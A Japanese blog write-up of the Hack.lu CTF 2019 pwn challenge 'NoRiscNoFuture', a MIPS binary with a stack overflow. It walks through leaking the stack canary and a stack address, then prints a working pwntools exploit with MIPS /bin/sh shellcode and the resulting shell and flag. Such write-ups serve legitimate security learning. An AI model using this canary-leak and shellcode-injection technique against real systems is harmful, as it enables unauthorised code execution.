イントロ
いつぞや行われたHack.lu CTF 2019。
学科の課題だったり復習だったりが溜まっていたため絶対に参加しないと心に決めていたが、 簡単なやつ一問だけならいいかな。。。と思い、 1問だけ解いてフラグを取ってすぐ撤退した。
変なところでつまずいていなければ first blooding 取れたはずなのだが、つっかえてしまい 3 番目になってしまった (まぁ自分に解ける=メチャメチャ簡単なんだけど)。
解いたのは pwn NoRiscNoFuture。
表層解析
sec.sh1./no_risc_no_future: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=8d9728e98717452e43b6e32ff3e19002c7fa2d5d, not stripped
2Arch: mips-32-little
3RELRO: Partial RELRO
4Stack: Canary found
5NX: NX disabled
6PIE: No PIE (0x400000)
7RWX: Has RWX segments
セキュリティ機構ガバガバ。 但しMIPS32上で動作するプログラム。
x86 以外の解析はほとんどしたことがない (大熱血アセンブラでおおよそ雰囲気を掴んだぐらい)。
デバッグ方法で少しつっかえたが、
vanila gdb なら qemu で-g 1234
でポート開放をしておきそれにアタッチすればよく、
pwntools ではdebug()
によって勝手に qemu 上でプログラムを実行してくれるらしい。
脆弱性
ざっと見
いくら MIPS といえども ELF であり使っているのは libc である。 最初の解析自体はいつもどおり Ghidra で行えば良い。
ものすごくシンプルな Stack overflow がある。 canary はあるものの canary の leak もできるため問題ない。 さらに NX disabled 故 shellcode をスタック上で実行できる。 問題はスタックの構造がどうなっているかだ。
スタックの構造
A を数回入力した後のスタックの状態は以下の通り:
debug.sh 10x00400634 in main ()
2(gdb) x/30xw $sp
30x7fffec98: 0x00498300 0x7fffedc4 0x7fffef9f 0x004002d4
40x7fffeca8: 0x00498300 0x0041fb68 0x00000000 0x41414141
50x7fffecb8: 0x41414141 0x41414141 0x41414141 0x00400e0a
60x7fffecc8: 0x00000000 0x00000001 0x7fffedc4 0x004218c4
70x7fffecd8: 0x00498300 0x00000000 0x00000000 0x00400e60
80x7fffece8: 0x00000000 0x00000000 0x00000000 0xe25a8d00
90x7fffecf8: 0x00000000 0x004008e8 0x00000000 0x00000000
100x7fffed08: 0x00000000 0x00000000
この問題を解くのに限定すればMIPS を読める必要なんて一切ない。
canary は0x7fffecf4
に入っている。
何回か実験した結果 canary の下 1byte は常に0x00
であったため、
まずはここまで overflow して canary をリークする。
さらに0x7fffecd0
にはスタックのアドレスと思わしきものが入っている。
こいつとユーザバッファの開始地点(0x7fffecb4
)との diff は常に0x50
であった。
故にこいつを leak することでスタックベースを求めることができる。
続いて RA の書き換え。 CPU ごとに関数呼び出し規約こそ違うものの、 このスタックを見るに退避されたフレームポインタや RA と思わしきものが転がっている。
debug.sh1(gdb) x/i 0x4008e8
2 0x4008e8 <__libc_start_main+568>: lui t9,0x40
確かにこれが main()のスタックフレームの RA であるようだ。 よってスタックの構成は x86 と殆ど変わらないと仮定して進めていく。
ここまでで stack base / canary をリークできているためあとは shellcode を注入すれば終わり。 shellcode はシェルストームに落ちていた MIPS 用のものを使った。
だがしかし、実行してみると以下のようなエラーが出た:
debug.sh1Program received signal SIGILL, Illegal instruction.
20x7fffecf8 in ?? ()
3(gdb)
いざエラーが出るとそのアーキテクチャを知っていないとデバッグが難しい。 しかし今回は payload のパディングを"A"ではなく"\x00"にしたら解決した (これがなぜかは調べてないからわからない)。
これさえなければ確実に first blooding とれたのに。。。
exploit
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./no_risc_no_future"
8
9rhp1 = {"host":"noriscnofuture.forfuture.fluxfingers.net","port":1338}
10rhp2 = {'host':"localhost",'port':1234}
11context(os='linux',arch='mips')
12binf = ELF(FILENAME)
13
14shellcode = "\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24\x0c\x01\x01\x01/bin/sh"
15
16def exploit(conn):
17 print("connected")
18
19 conn.send("A"*(16*4+1)) #last byte of canary is always 0x00??
20 conn.recvuntil("A"*(16*4+1))
21 canary = unpack(conn.recvline()[:-1].ljust(4,'\x00'))
22 canary = canary << 8
23 print("[+]canary: "+hex(canary))
24
25 sleep(1)
26 conn.send("A"*(4*26))
27 conn.recvuntil("A"*(4*26))
28 stack = unpack(conn.recv(4).ljust(4,"\x00"))
29 print("[+]stack: "+hex(stack))
30 stack_shellcode = stack-0x50+0x4
31 print("[+]stack shellcode: "+hex(stack_shellcode))
32
33 sleep(1)
34 for i in range(0xa-(1+2)):
35 print("sent")
36 conn.sendline("A")
37 sleep(0.5)
38 conn.recvline()
39
40 sleep(1)
41 payload = shellcode
42 payload += "\x00" * (4*16 - len(payload))
43 payload += p32(canary)
44 payload += "\x00" * (4*18 - len(payload))
45 payload += p32(stack_shellcode)
46 conn.send(payload)
47
48if len(sys.argv)>1:
49 conn = remote(rhp1["host"],rhp1["port"])
50else:
51 conn = gdb.debug("./no_risc_no_future")
52
53exploit(conn)
54conn.interactive()
結果
result.sh 1[+] Opening connection to noriscnofuture.forfuture.fluxfingers.net on port 1338: Done
2connected
3[+]canary: 0x7d7fc000
4[+]stack: 0x7ffffd30
5[+]stack shellcode: 0x7ffffce4
6sent
7sent
8sent
9sent
10sent
11sent
12sent
13[*] Switching to interactive mode
14A
15AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��`@
16A
17AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��`@
18A
19AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��`@
20A
21AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0��`@
22Ps\x06$\xff\xff�Ps\x0f$\xff\xff\x06(���'��\x0f$'x�! ��\xff\xa4\xaf���\xaf���#\xab\x0f$\x0c/bin/sh
23/chall $ $ ls ./
24ls ./
25flag no_risc_no_future qemu-mipsel-static
26/chall $ $ cat flag
27cat flag
28flag{indeed_there_will_be_no_future_without_risc}/chall $